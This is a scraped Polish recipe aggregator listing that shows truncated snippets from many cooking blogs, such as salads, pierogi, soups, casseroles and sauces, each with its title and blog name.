Szpinak – 2 garście Granat Jogurt naturalny – 3 łyżki Ulubione przyprawy np. garam masala do piersi z kurczaka, suszone zioła (oregano, bazylia, tymianek) do warzyw Oliwa z oliwek – 3 łyżki Sos: Oliwa z oliwek – 2 łyżki Pesto z natki pietruszki – 2 łyżki Wykonanie: Kaszę kuskus gotujemy na parze lub zalewamy gorącą wodą i odstawiamy, aż wchłonie całą wodę. Następnie mieszamy

Kuchnia Bon Appetit
Stek z rostbefu z pieczonymi warzywami 187

minuty, aby odpoczęły. Wykonanie – warzywa: Przygotowanie warzyw rozpoczynamy jeszcze przed smażeniem mięsa. Warzywa dokładnie myjemy (jeśli są młode nie ma potrzeby ich obierania) i marynujemy w sosie przygotowanym z oliwy z oliwek i pasty sezamowej. W przypadku szparagów białych, należy je wcześniej obrać i obgotować. Warzywa pieczemy przez 20-30 minut, tak aby były delikatnie chrupiące.  Ziemniaki gotujemy

Kuchnia Bon Appetit
Śniadanie od AleDobre.menu 159

spróbować śniadań dostarczanych przez śniadaniowy catering on-line AleDobre.menu. W moim zestawie śniadaniowym znalazły się: AVOCADO TARGET GROUP - w której znajdziemy: bułkę razowa, jajko, awokado, marynowane chilli, kiełki brokułu, sos majonezowo-koperkowo-cytrynowy. Wartość odżywcza takiej kanapki to 262 kcal.   WOŁOWINA ON INVESTMENTS - flagowa propozycja - kanapka z pastrami i serem cheddar w picie z chleba indyjskiego. Wartość odżywcza takiej

Kuchnia Bon Appetit
Pierogi z botwinką, kozim serem i kaszą pęczak 186

podsypujemy mąką żeby się nie przyklejało) na grubość około 2mm. Szklanką wycinamy kółka, nakładamy na nie farsz i sklejamy. Gotujemy w osolonej wodzie i podajemy z roztopionym masłem lub sosem jogurtowo-koperkowym

Kuchnia Bon Appetit
Kotleciki warzywne z tuńczykiem 149

theme-font:minor-latin; mso-fareast-language:EN-US;} Kotleciki warzywne z tuńczykiem Składniki – 5 sztuk: Ziemniaki – 5 średnich Marchew – 2 sztuki Brokuły – 4 różyczki Kalarepa – ½ sztuki Tuńczyk w sosie własnym – 200g Jajko – 1 sztuka Siemię lniane mielone – 3 łyżki Mąka – 2 łyżki Sól, pieprz, suszone oregano Natka pietruszki – 3 łyżki posiekanej Wykonanie: Ziemniaki gotujemy w lekko osolonej wodzie

Kuchnia Bon Appetit
Piknik na pożegnanie lata: roślinne grillowanie na trawie 155

włoski, kolendrę i gorczycę. Smaż kilka minut i kolejno wrzuć pokrojone w niedużą kostkę morele. Zalej je octem i posłodź cukrem. Gotuj na małym ogniu przez pół godziny, aż sos stanie się gęsty i przybierze konsystencję dżemu. Pamiętaj, aby nie rozgotować owoców. W razie potrzeby dodaj więcej cukru oraz octu. Chutney powinien być słodko-winny w smaku. Fasolowe burgery Jedną

Food Square
Sałatka z chorizo i brzoskwiniami 214

się ściągnąć skórę, to dobrze - niektórzy jej nie lubią. Podsmażamy kiełbasę na suchej patelni i jeszcze ciepłą dodajemy do pozostałych składników. Dokładnie mieszamy i podajemy. Możemy doprawić sosem winegret lub balsamicznym. Nie potrzeba wiele, składniki same się obronią. Soczysty pomidor i słony ser feta. Pycha

Karczma Honorietty
Salatka z serem plesniowym i melonem 194

Prosta, szybka i pyszna sałatka, Wystarczy 5 składników i sos, by wasz obiad, czy grill nabrał niecodziennego blasku. Zresztą na kolacje czy przekąskę tez jest idealna. Sałata, melon, ser i pomidorki. Proste prawda? Czytaj więcej

Bernika - moj kulinarny pamietnik
Gruzińskie Chaczapuri ze szpinakiem 220

niej chaczapuri, 2 razy po 3 minuty z każdej strony . Koniecznie trzeba smażyć dwukrotnie ,żeby uzyskać lekką chrupkość i właściwe wypieczenie . Chaczapuri jest gotowe – podajemy z sałatką i sosem czosnkowo jogurtowym z dodatkiem kminku Smacznego. Post Gruzińskie Chaczapuri ze szpinakiem pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
#Smaki świata - Bułgaria 241

Smaczne, ale mięso poprzez długi kontakt z gorącym żeliwnym naczyniem staje się nieco gumowate.   wyśmienitej kavarmy - rodzaju gulaszu z mięsem wieprzowym i duszonymi w niezwykle aromatycznym mięsno-pomidorowym sosie warzywami. Mięso aż rozpływa się w ustach, a mieszanka przypraw uderza do głowy. Niebo w gębie! :)   Słoneczny Brzeg to trochę taki polski Kołobrzeg czy Mielno - imprezownia, bo pełno

Cooking Monster
Sałatka z serem halloumi 214

oliwą). Na talerzu układamy porwaną sałatę, na sałacie ser halloumi i ciepłe śliwki z figami. Mozemy posypać pokruszonymi orzechami. Podajemy z grzankami i skropione kremem balsamicznym (lub innym sosem).  Smacznego

bistro mama
Szybkie Kotlety Z Wczorajszych Ziemniaków 1552

mące potem w jajku ( jajko doprawiamy solą, pieprzem i papryką i roztrzepujemy jak do schabowych ) na sam koniec w bułce tartej i smażymy na rozgrzanym oleju. Podajemy z ulubionym sosem u mnie z pieczarkowym Przepis Tutaj . Smacznego

Gotowanie...to proste !
Sałatka nicejska z dressingiem pietruszkowo-czosnkowym 185

Sałatka nicejska to niezwykle przyjazne danie dla dzieci, szczególnie tych, które za jedzeniem nie przepadają. Małe niejadki najczęściej nie są w stanie nawet spróbować sałatek. Wymieszana masa warzywna, połączona sosem jest dla nich odpychająca. Co w tej sytuacji można zrobić? Podać wszystkie składniki osobno! Ja w ten sposób podaję w domu sałatkę nicejską, która wygląda bardzo […] Artykuł Sałatka nicejska

Wiszniówka
Quiche z fasolką szparagową w sosie śmietanowo-szafranowym (Quiche con fagiolini in salsa allo zafferano e panna) 175

Tarta z ciasta francuskiego z fasolk ą  szparagow ą  w aromatycznym sosie śmietanowo-szafranowym to pyszne połączenie, przyjemne dla naszego podniebienia. Smacznego!  **** La torta salata realizzata con la pasta sfoglia, farcita con i fagiolini e la crema a base di panna e zafferano. Un piatto ricco di gusto per un palato. Buon appetito! SKŁADNIKI  1 opakowanie

La grande e la piccola cuoca
Maślany leszcz zapiekany w folii 208

które są niezbędne do pracy mózgu i serca, a także wiele witamin i minerałów. W przepisie użyłam leszcza, ale tym sposobem można przyrządzić dowolną rybę. Rybę podałam z ziemniakami, sosem śmietanowo-porowym i surówką z marchewki. Składniki: 2 duże płaty leszcza (może być ze skórą) cytryna sól himalajska, pieprz biały koper łyżka masła Przygotowanie Rybę posypujemy solą, pieprzem i skrapiamy

e-PrzepisyKulinarne
Pasta kanapkowa z tuńczyka i suszonych pomidorów 388

tuńczyka i pomidorów suszonych w towarzystwie bomby witaminy C w postaci natki z pietruszki. SKŁADNIKI (całość - 8 porcji - 250 kcal, 1 porcja - 31 kcal !!!) 1 puszka tuńczyka w sosie własnym - 100 g po odsączeniu- 5 suszonych pomidorów z oleju  1 łyżeczka oleju z pomidorów 1 łyżka posiekanej natki pietruszki 1 łyżeczka koncentratu pomidorowego sól pieprz ulubione pieczywo - najlepiej oczywiście

Moje Kuchenne Rewelacje
Zapiekanka ziemniaczano-cukiniowa mojej mamy, Wybór Zofii 257

frytek. Włącz piekarnik - 180°C. Wymieszaj jogurt z jajami, czosnkiem solą, pieprzem i ziołami. Wysmaruj żaroodporne naczynie olejem. Układaj w naczyniu na przemian plastry ziemniaka i cukinii. Polej sosem jogurtowo-jajecznym i zapiekaj ok. 30-40 minut. Wybór Zofii  (1982, Alan J. Pakula) - r zecz dzieje się w Nowym Jorku tuż po wojnie. Trójka głównych bohaterów, a wśród nich

Qlinarnie i Qlinarnie
Zupa krem z kukurydzy 256

oliwę i wszystko dokładnie blendujemy.  Zupę podajemy z podprażonymi na patelni ziarnami kukurydzy (przed blendowaniem wyjmujemy 2-3 łyżki) oraz ze szczyptą chilli. Można podawać z odrobiną sosu sojowego i kroplą śmietanki sojowej. Smacznego! Maugo&Paszko

Bananowe Pole
Patisony w zalewie curry 913

zalewie z curry. Prosto i szybko, a jakże smacznie. Zimą z chęcią otworzę słoik i zrobię z nich sałatkę do obiadu. Jest to też bardzo dobry składnik do mięsnego sosu, obok cebuli czy czosnku można dodać pod koniec duszenia właśnie pokrojone marynowane patisony. Składniki: 1 kg niewielkich patisonów gałązki z liśćmi selera ziele angielskie gorczyca olej zalewa: 1/2 szklanki cukru

Codzienna kuchnia niecodzienna
Surówęcia 5 188

osób )  Pół główki kapusty  3 średnie buraki gotowane  1 cebula czerwona  1 jabłko  1 ogórek zielony  2 marchewki  2  łyżki sosu tzatzyki  sól  pieprz do smaku  Wykonanie   Buraki dobrze jest ugotować dzień wcześniej , aby na drugi dzień były już gotowe to dodania . Kapustę szatkuję , wrzucam do miski

Mój Smak
sałatka jak ciasto (na krakersach) 420

jest bardzo smaczna. To kolejny już przepis na sałatkę z tuńczykiem, jeśli takie lubicie to koniecznie musicie spróbować też takiej wersji! Składniki: duża paczka krakersów 2 puszki tuńczyka w sosie własnym 6 jajek szczypiorek 2 łyżki majonezu 100 g żółtego sera pieprz Jajka ugotować na twardo, wystudzić, obrać, oddzielić żółtka od białek. Białka zetrzeć na tarce o grubych oczkach. Wymieszać

Domowa Cukierenka-Domowa Kuchnia
Mleko kokosowe 170

mleko kokosowe w towarzystwie owoców, które do nich dodaję, sprawdza się naprawdę dobrze. Można je również świetnie wykorzystać (zwłaszcza gęstszą część) do zabielania zup, robienia lodów czy do domowego sosu orzechowego . Najczęściej robi się je z wiórek kokosowych i taka też jest moja propozycja – jest to najtańsza i najwygodniejsza opcja. Wiórki kokosowe możemy z powodzeniem kupić już od około

Blendman
Zupa bryndzowa 334

Jeśli po sezonie ktoś wam wciska oscypki, bryndzę i bundz owczy, to wyślijcie go na drzewo i życzcie mu uciążliwych dolegliwości gastrycznych. Bryndza jest genialna do tart, sałatek i sosów. Ja ją kocham i chyba jest to miłość odwzajemniona. Na zupę bryndzową potrzebujemy: 2,5 litra wywaru warzywnego (ugotowane na wolnym ogniu por, seler, pietruszka, marchewka, cebula, lubczyk świeży

ladykitchen
Pstrąg łososiowy z pęczakiem, buraczkami i wędzonym twarogiem 411

Pstrąg łososiowy przygotowany w foli aluminiowej na patelni jest podobny do ryby gotowanej na parze. Smaczny i aromatyczny dzięki temu, że dusi się w sosie własnym. Podałam go z kaszą pęczak, różową od pieczonego buraczka ćwikłowego i z wyraźnym smakiem wędzonki dzięki twarogowi. Taką sałatkę z buraczkiem można podać na ciepło jak również na zimno. Polecam na lekki, zdrowy obiad

https:KKuchniaMniam
Omlet z piekarnika z jagodami i brzoskwiniami / Blueberry peach oven pancake 258

szklanka mleka 1 duża brzoskwinia, obrana i pokrojona w 0,5 cm plastry 1 szklanka jagód (mogą być mrożone lub można zamienić je na borówki amerykańskie lub np. maliny) sos karmelowy, cukier puder i owoce do podania Przygotowanie: Włącz piekarnik i ustaw go na 200 oC. Do patelni żeliwnej lub naczynia żaroodpornego o średnicy około 20 cm włóż masło

karmelowy
O dyniach. Purée z dyni do słoików, pasteryzowane 226

miąższ tej dyni po podgrzaniu rozdziela się na nitki – jak makaron rosołowy. Do duszenia, do pieczenia podzielona na pół – po upieczeniu wyskrobujemy miąższ-makaron i podajemy, np. z dowolnym sosem lub jako dodatek. DYNIA PROWANSALSKA MUSZKATOŁOWA okrągła, ciemnozielona lub brudnopomarańczowa, czasami nakrapiana jak arbuz, z wyraźnym, mocnym żebrowaniem. Mała komora z pestkami, gruby miąższ. Ma prawie tak pomarańczowy miąższ

Karo in the Kitchen
Pomidory suszone 170

letnich pomidorów na zimowe dni. W tym okresie są świetnym źródłem witamin i składników odżywczych. Dodatkowo ich wspaniały aromat i niepowtarzany smak idealnie komponuje się z kanapkami, sałatkami czy sosami.   Wykonanie takich pomidorów suszonych może być czasochłonne, lecz pełna spiżarnia tych pysznych przetworów jest tego warta. Aby przygotować suszone pomidory nie potrzeba specjalnej suszarki, wystarczy piekarnik. Bardzo ważnym czynnikiem

wegujemy
Królik w ziołach i biała papryka nadziewana kaszą 173

przed zakończeniem duszenia. (W razie potrzeby uzupełniamy płyn). Przed podaniem wyjmujemy paprykę i mięso a warzywa dokładnie miksujemy przy pomocy blendera razem ze śmietanką, jeszcze chwilę podgrzewamy i przelewamy sos do sosjerki

Gotowanie jest łatwe
Zapiekanka z wołowiną i grzybami 203

wołowinę. Ser kroimy w plastry - układamy na górze zapiekanki i posypujemy papryką. Wstawiamy do nagrzanego piekarnika i zapiekamy 15 -  20min w temp. 180 stopni. Zapiekankę zajadamy z ulubionym sosem lub ketchupem

Alutka-Gotuje
Muke Mu2G - najwolniejsza na rynku wyciskarka do soków 184

zrobienia tofu. Sito z większymi otworami do miękkich owoców takich jak truskawki, banany, kiwi. Pozwala przygotować gęste i sycące koktajle z większą ilością włókien. Ponadto wykonamy placki ziemniaczane, sos do spaghetti czy desery takie jak mus bananowy z czekoladą. Z pulpy można wykonać peelingi i maseczki do naturalnych zabiegów kosmetycznych. Trzecie sito, tak zwane ślepe, nie posiada żadnych otworów. Miażdży

Domowa Cukierenka-Domowa Kuchnia
WEGETARIAŃSKA ZAPIEKANKA Z MAKARONEM 304

Paprykę pokrój w paski lub w kostkę i dodaj do cebuli. Wlej pomidory, kukurydzę i dopraw całość pieprzem, papryczką i solą. Odcedzony makaron przełóż do naczynia żaroodpornego i dodaj sos. Na wierzch połóż pokrojoną w plastry mozzarelle.   Włóż do nagrzanego do 180 stopni piekarnika i zapiekaj przez około 10 minut. Posyp bazylią

Kukuleczki
Błyskawiczne piątki - podsumowanie 16.09.2016r. 147

Potrawka z kury i czterech warzyw   Monika Makaron z pesto z liści rzodkiewki   Małgorzata  Wątró bka duszona z jabłkami   Justyna Makaron z twa rogiem i sosem malinowym   Agnieszka  Kukurydziana tarta ze śliwkami   Angelika  Muffiny jajeczne z pomidorkami i  kaban osami   Bożena  Placki z ja błkiem i cynamonem   Diana

Magiczne Życie Marty
zupa gyros 626

garnka przekładamy uduszone warzywa, mięso ze śmietaną, całość zalewamy bulionem i gotujemy przez ok. 15 min. (Jeśli mamy przeprawę gyros mało wyrazistą to zupę doprawiamy czosnkiem, solą, pieprzem, sosem chili) Zapisz Zapisz Zapisz Zapisz

Domowy Smak Jedzenia
Polędwiczki w sosie kurkowym 184

momentu aż woda odparuje, dodajemy podsmażone polędwiczki, ziarna ziela angielskiego oraz listki laurowe. Wlewamy wodę w takiej ilości żeby tylko przykryła mięso, dusimy na małym ogniu do miękkości mięsa. Sos zagęszczamy mąką rozrobioną w niewielkiej ilości zimnej wody, zdejmujemy z ognia i dodajemy śmietanę. Doprawiamy do smaku sola, podajemy z kluskami śląskimi lub kopytkami

Bajeczna Kuchnia
Sałatka ziemniaczana z wędzoną rybą 212

kiszone w kostkę. Rybę rozdrobnić, uważając by pozbyć się wszystkich ości. Wszystkie składniki przełożyć do miski. Jogurt wymieszać z płynnym miodem oraz musztardą. Doprawić do smaku solą i pieprzem. Sosem jogurtowo-musztardowym polać sałatkę, delikatnie wymieszać. Przed podaniem posypać posiekaną świeżą natką pietruszki. Smacznego

kolorowotorcikowo
Makaron z pomidorami i tuńczykiem 216

które po prostu nie przepadają za tą rybą :( Ale może... jednak się skuszą i chociaż spróbują :) Makaron z pomidorami i tuńczykiem - składniki: puszka pomidorów (najlepiej krojonych) puszka tuńczyka w sosie własnym 1 cebula makaron tagliatelle sól cukier pieprz oregano olej kokosowy ser żółty Makaron z pomidorami i tuńczykiem - przepis: Cebulę drobno kroimy i podsmażamy na odrobinie oleju. Jak będzie szklista

Kulinarnyblog.pl - wiesz jak gotować!
Burgery z pieczonych buraków i kaszy jaglanej 202

mięsna. Od czasu do czasu nawet zdeklarowany mięsożerca może skusić się na taką odmianę. Nam takie kotleciki ostatnio bardzo zasmakowały! Świetnie smakują z domowym tzatziki, albo innym jogurtowym sosem. Sprawdzą się w bułce z dodatkiem sałaty i  konserwowego ogórka - a la hamburger, jak i podane na talerzu z sałatką ze świeżych warzyw. Proste i szybkie danie - zobaczcie sami

Kulinarne Inspiracje
Fasolka z zasmażką – zdrowa wersja klasyki 176

dodaj pozostałe składniki, łącznie z fasolką. Smaż 5-10 minut lub do momentu aż zasmażka na fasolce będzie chrupiąca. 3 Przełóż na talerzyk i zajadaj samo, z ulubionym sosem lub podawaj jako dodatek do dania głównego. Artykuł Fasolka z zasmażką – zdrowa wersja klasyki pochodzi z serwisu Blendman.pl - kuchnia roślinna

Blendman
kotlety ze schabu z kurkami 205

kolor. Przesmażone kotlety dodajemy do grzybów, całość podlewamy słodką śmietaną, solimy i dusimy pod przykryciem przez kolejne 20 minut. Gotowe kotlety wykładamy na talerze, razem z kurkami i śmietanowym sosem, podając z kaszą lub innymi dodatkami

Miód i pieprz
Sernik dyniowy. 205

Piekłam już wiele różnych serników, ale ten z dynią po raz pierwszy. Od dziś mój ulubiony. Kremowy, wilgotny z lekko słonym spodem i sosem czekoladowo-miętowym . To prawdziwa uczta dla zmysłów :) Tak sobie myślę, że gdybym miała cukiernię to byłby w czołówce oferowanych tam wypieków. Dynia przez swój łagodny i delikatny smak zyskała miano nijakiej. I coś w tym jest

zadanie-gotowanie
placuszki z cukinią i ziemniakami 176

Jako, że rozpoczął się sezon na cukinię, chciałabym Wam przedstawić przepis na bardzo smaczne placuszki z cukinią i ziemniakami. Są chrupiące, sycące i bardzo smaczne. Można je podawać z sosem jogurtowo -czosnkowym, lub z ketchupem. Idealne na obiad. No to zaczynamy SKŁADNIKI -1 kg obranych ziemniaków -600g cukinii, bez pestek, ja używałam żółtej -6 kopiastych łyżek mąki -2 jajka

moje pyszne łatwe i sprawdzone przepisy krok po kroku
makaron a'la włoska pasta-z sosem pomidorowym i serem 202

świeże, ja miałam suszone), koncentrat pomidorowy i dokładnie mieszamy, chwilkę dusimy, można dodać troszkę wody, ale nie jest to konieczne.  Po paru minutach, wyłączamy gaz i dodajemy do sosu odcedzony, ugotowany makaron i ser,  wszystko dokładnie mieszamy do rozpuszczenia sera. I nasze danie jest gotowe.  Szybkie, proste i bardzo pyszne :-) Idealne danie na obiad, bardzo sycące

moje pyszne łatwe i sprawdzone przepisy krok po kroku
papryka faszerowana z kaszą jaglaną i serkiem topionym. 187

następnie dodajemy koncentrat pomidorowy i przyprawy. Wszystko mieszamy i dusimy chwilkę. Jeśli z mięsa powstanie dużo tłuszczu, wody-należy to odlać, bo w pieczeniu papryki zrobi się za dużo sosu. farsz ściągamy z ognia, i dodajemy do niego kaszę jaglaną-ugotowaną i odsączoną z wody. Wszystko dokładnie mieszamy. Papryki należy przekroić i usunąć gniazda nasienne, następnie ładujemy do nich farsz

moje pyszne łatwe i sprawdzone przepisy krok po kroku
wspaniałe kotlety z kaszy jaglanej z jajkami 182

ugotowanych na twardo. Są wspaniałe jako dodatek do obiadu, i są też zdrową alternatywą kotletów mielonych czy tym podobnych. Bardzo Wam je polecam, są wspaniałe same, jak również w sosem. Można je jeść na ciepło i na zimno, można odgrzewać. Przygotowuje się je łatwo i przyjemnie :-)  Przepis jest bardzo wydajny, wychodzi około 15 sporych kotlecików. Także dwa dni gotowania

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Sałatka z chorizo i winogronami 201

Wymieszać wszystkie składniki razem. Można dolać ulubionej oliwy czy oleju. Ja już niczym nie przyprawiam. Taka wersja mi odpowiada, ale równie dobrze można dodać zielonego pesto, albo po prostu sosu winegret. Nie podaję proporcji, bo każdy wie ile zje i na ile osób ma być micha zielska

Karczma Honorietty
Rumsztyk drobiowy z cebulką. 490

Przyznacie, że kurczak to jedna z najpopularniejszych propozycji obiadowych. Jest to niezwykle wszechstronny rodzaj mięsa, które świetnie komponuje się ze świeżymi ziołami, sosami i wszelkiego rodzaju sałatkami oraz surówkami.  To bardzo  delikatne mięso i przecież nie musi być nudne! Dziś rumsztyk z cebulką! SKŁADNIKI: 2 podwójne piersi z kurczaka 2 średnie białe cebule 2 średnie czerwone cebule

Kuchnia Beaty
Słodkie spaghetti z batatem 178

sobą.  Ugotowanego batata dodajemy na patelnię i podsmażamy.  Po chwili dodajemy przecier pomidorowy, przyprawy oraz powidła. Całość mieszamy i doprowadzamy do wrzenia.  Makaron łączymy z sosem, dodajemy jeszcze świeżej bazylii i pietruszkę i pałaszujemy ze smakiem :)  Smacznego! Maugo&Paszko

Bananowe Pole
PIZZA NA GRUBYM CIEŚCIE ( NAJLEPSZE CIASTO NA PIZZĘ ) 389

ciasto. Wyrobione przykrywamy ściereczką i odkładamy w ciepłe miejsce na 15 minut. Pod tym czasie rozciągamy albo delikatnie wałkujemy, wylepiamy formę i dajemy ulubione dodatki. U mnie jest to sos pomidorowy albo majonezowy – z ziołami. Ulubiona wędlina , pieczarki , ser mozzarella. Uważajmy, by nie przeciążyć pizzy! Wkładamy do piekarnika nagrzanego na 180C na 17-20 minut ( z termoobiegiem ). Smacznego

Ostra na Słodko
Parówki z szynki w cieście ptysiowo- ziemniaczanym (dofinkowym) 250

idealnie przechowuje się w lodówce i nadaje się do różnych pysznych rzeczy. Tak przygotowane parówki to świetna przekąska na ciepło, jak i po wystygnięciu. Odrobinka świeżych warzyw, czy ulubiony sos i mamy smaczny posiłek. Zaraz mnie ktoś zapyta: parówki? A dlaczego nie - skoro mają 93% mięsa z szynki?  Przyznam, że w moim domu są rzadkością, ale jak trafimy

Di gotuje
FASZEROWANA CUKINIA WARZYWAMI LUB MIĘSEM 271

doprawiłam. Na koniec wsypałam ugotowany ryż i starty parmezan. Wydrążone cukinie wstawiłam do lekko wysmarowanego olejem naczynia i nafaszerowałam warzywami. Do wersji warzywno mięsnej wykorzystałam zrobiony wcześniej  sos do spaghetti z dodatkiem mielonego mięsa. Żeby farsz nie był za rzadki, dłużej go smażyłam w celu odparowania wody. Dodałam do niego również ryż i starty parmezan. Nałożyłam go do cukinii

potrawyregionalne
Panierowane pieczarki, danie w 5 minut 248

papierowy ręcznik ,żeby odsączyć nadmiary oleju i natychmiast serwujemy " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Doskonale smakują ze wszystkim , a także z każdym dipem lub jogurtowym sosem . Smacznego " class="wp-smiley" style="height: 1em; max-height: 1em;" />   Post Panierowane pieczarki, danie w 5 minut pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Bakłażany faszerowane makaronem 140

chwili dodajemy drobno pokrojony czosnek, smażymy chwilkę by czosnek się nie przypalił, dodajemy passatę i poszarpane mięso z kurczaka, oprószamy tymiankiem, doprawiamy solą i pieprzem. Dusimy chwilę. Do sosu dodajemy makaron, dokładnie mieszamy i faszerujemy nim połówki bakłażanów. Jegomości (Oj! Podoba nam się! :P) wrzucamy do piekarnika na 20 min (180°C). Posypujemy posiekanym szczypiorkiem. st1\:*{behavior:url(#ieooui) } /* Style

R'n'G Kitchen
Zapiekanka ziemniaczana z kurczakiem i warzywami w sosie serowo-śmietanowym. 600

gotowe dolewamy do niego śmietanę. Do gotującej śmietany dodajemy starty ser żółty. Zagęszczamy odrobiną mąki i doprawiamy do smaku. Mieszankę warzywną gotujemy. W naczyniu żaroodpornym układamy kolejno: ziemniaki, warzywa, sos z mięsem, starty ser. Zapiekamy w piekarniku. Smacznego

Magia jedzenia.
Domowe mleko kokosowe 178

sklepowe w kartonie. W dodatku nie posiada żadnych ulepszaczy i jest tańsze. Do przygotowania takiego mleka potrzebujecie tylko wiórki i wodę. Możecie wykorzystać je do latte, owsianek, puddingów, koktajli, sosów itp. Nie jest to mleko tak gęste jak mleczko kokosowe z puszki, ponieważ przygotowujemy je z wiórków, które są już częściowo odtłuszczone. Posiada jednak na pewno większą zawartość tłuszczu niż

Ze smakiem i z pasją
Orientalna zupa dyniowa 215

Dostaliśmy dynię. No i trzeba było coś z nią zrobić. Część poszła do słoika na kiszenie (choć teraz okazało się, że trochę jednak lepsza by była

slodkokwasnapl
Sałatka z quinoą, ogórkiem, selerem naciowymi i lawendą 181

oleju z awokado kolorowy pieprz różowa sól himalajska Wykonanie: Sałatę myjemy, osuszamy i rwiemy na kawałki do miski, dorzucamy quinoę i pokrojone w plasterki ogórki oraz seler. Polewamy wszystko sosem zrobionym z octu jabłkowego i oleju, doprawiamy solą i świeżo zmielonym pieprzem, posypujemy listkami mięty i lawendą. Polecam

Quinoa Raz!
Przepis na… – Tagliatelle ai funghi porcini, włoski smak jesieni 502

kawałki (może być kostka lub plasterki) grzyby solimy i odstawiamy na kilka minut. W tym czasie nastawiamy wodę na makaron. Grzyby smażymy na odrobinie oliwy. Czekamy, żeby wyparował ich sos. Kiedy się zaczną rumienić odwracamy na drugą stronę i dorzucamy posiekany czosnek. Makaron odcedzamy (nie opłukujemy ani nie odlewamy szczelnie wody) i wrzucamy na patelnię. Delikatnie mieszamy, dodając pieprzu, pietruszki

Bon Ton Italia
Bolognese z tofu 164

puszki), oregano, czosnek (pokrojony w cienkie plasterki), sól i pieprz - gotujemy 10 min. na małym ogniu. W tym czasie gotujemy makaron al`dente. Do miseczki włóż odcedzony makaron, polej sosem i posyp startym serem ... gotowe! PS. Im więcej dodasz sera tym uzyskasz lepszy smak dania

Alutka-Gotuje
Mrożona kawa z wiśniami na spodzie i mleczną pianką. 307

zimnego mleka 3,2% laska wanilii kilka kostek lodu Wykonanie: Wiśnie wraz z cukrem przesmażyć w niedużym rondelku. Wyłożyć na spód szklanek i wstawić do lodówki, by sos zgęstniał. Kawę rozpuścić w 200 ml wody, wychłodzić, wstawić do lodówki. Jeżeli lubicie słodką kawę, to dosłodzić.  Mleko podgrzać z ziarenkami z laski wanilii - nie gotować. Wychłodzić, by było zimne. Następnie

Poezja Smaków - blog kulinarny
Sałatka z tuńczykiem i oliwkami 222

chyba najszybsza i najłatwiejsza sałatka świata.... a jej smak jest doskonały. Można ją także z powiedzeniem jeść jako pastę tuńczykową do pieczywa. Pychota!   Składniki: 2 puszki tuńczyka w sosie własnym puszka kukurydzy lub 1 kolba około 20 ciemnych oliwek 2 małe czerwone cebule 3 łyżki majonezu sól, czarny pieprz opcjonalnie: 50g startego żółtego sera szczypiorek Sposób wykonania: Tuńczyka

Pyry na Gaz
Panierowany kalafior 268

polanego zarumienioną bułeczką na maśle jednak można go zrobić w ten sam sposób jak kotlety czyli panierować w jajku i bułce. Tak przyrządzonego kalafiorka można zajadać samego np. z sosem czosnkowym albo podać do drugiego dania. składniki: 1 duży kalafior 5-6 jajek zioła prowansalskie bułka tarta i sezam do panierowania olej do smażenia Kalafiora podzielić na różyczki, z mojego

Monia miesza i gotuje
Szybkie gołąbki w sosie 477

poświęcony czas🙂 Dzięki gołąbkom ze słoika Pamapol obiad przygotujecie zaledwie w 40 minut🙂 Skład zachęca do wypróbowania, próżno w nim szukać sztucznych … Czytaj dalej Szybkie gołąbki w sosie

czarrna od kuchni
Szynka z dzika z kurkami 259

rozmarynu. Przykryć. Wstawić do piekarnika nagrzanego do 140 stopni i piec około 2,5 godziny. Po godzinie pieczenia wlać 150 ml wody. Od czasu do czasu podlewać mięso wytworzonym sosem, w razie potrzeby dolać trochę wody. Odłożone kurki podsmażyć na tłuszczu. zastawa

królestwo garów
Zapiekanka Gyros-Kebab 36027

połowę wylewamy na wierzch ryżu z mięsem, posypujemy połowa startego sera. Kroimy paprykę i ogórki w grubszą kostkę,mieszamy z odsączoną kukurydzą, wykładamy na naszą zapiekankę,na to reszta sosu majonezowo-ketchupowego  i pozostały ser. pieczemy w 170 stopniach przez 20-25 min (żeby ser porządnie się roztopił) Smacznego

Swojskie jedzonko
Klasyczny przepis na mule 252

białym winem, przykrywamy garnek i całość dusimy do momentu aż mule się otworzą. Podczas gotowania 2-3 razy wstrząśnijmy garnkiem, aby przemieszać małże . Całość wykładamy do miseczki i polewamy sosem, w którym gotowały się małże . Jeśli lubimy możemy posypać je drobno posiekaną pietruszką, albo koperkiem. Danie to najlepiej podać ze świeżo upieczoną i pokrojoną w kromki - bagietką . Smacznego! Post Klasyczny

Kulinarnyblog.pl - wiesz jak gotować!
gruszkowy deser lodowy 194

małym ogniu. Kiedy przestygną wyłożyć na warstwę herbatników i przykryć resztą pokruszonych ciastek. Na tym położyć lody i przykryć warstwą bitej śmietany. Dodatkowo można posypać posypką lub polać sosem do lodów

Domowa Cukierenka-Domowa Kuchnia
Makaron w sosie pomidorowym 282

cebula 1/2 czerwonej papryki 200 g fasoli, u mnie „z oczkiem” 2 łyżki oliwek sól i pieprz Przygotowanie: Pomidory obrać ze … Czytaj dalej Makaron w sosie pomidorowym

czarrna od kuchni
Kuchnie świata: surówka marchewkowa z jabłkiem i orzechami włoskimi z Kazachstanu 181

kostkę. Wszystko mieszamy w dużej misce. W małej misce mieszamy ocet balsamiczny, ksylitol, sól, pieprz i kolendrę. Czosnek ścieramy na tarce lub siekamy i mieszamy z resztą składników. Sos dodajemy do marchewki i dokładnie mieszamy. Olej rzepakowy podgrzewamy i gorący wlewamy do marchewki - będzie skwierczeć. Na koniec dodajemy orzechy włoskie. Całość przekładamy do zamykanego naczynia lub słoika. Zamknięte

My Chcemy Jeść
Przekąska- pyszne paluszki z serem i szynką 200

blachę posmarowaną oliwą lub wyłożoną papierem do pieczenia. Pieczemy na rumiano ok. 15 min. w temperaturze 200 stopni- termoobieg. (piekarnik należy uprzednio rozgrzać). Podać możemy je z własnoręcznie wykonanym sosem czosnkowym, zamaczane w nim są jeszcze pyszniejsze. Smacznego! Oryginalny przepis przeznaczony jest dla thermomixa, ale nic nie stoi na przeszkodzie by wykonać je jak wyżej- ręcznie. Dowolny robot kuchenny może

Aromatyczne Podróże
Pizza bolognese (ciasto bez wyrastania) 186

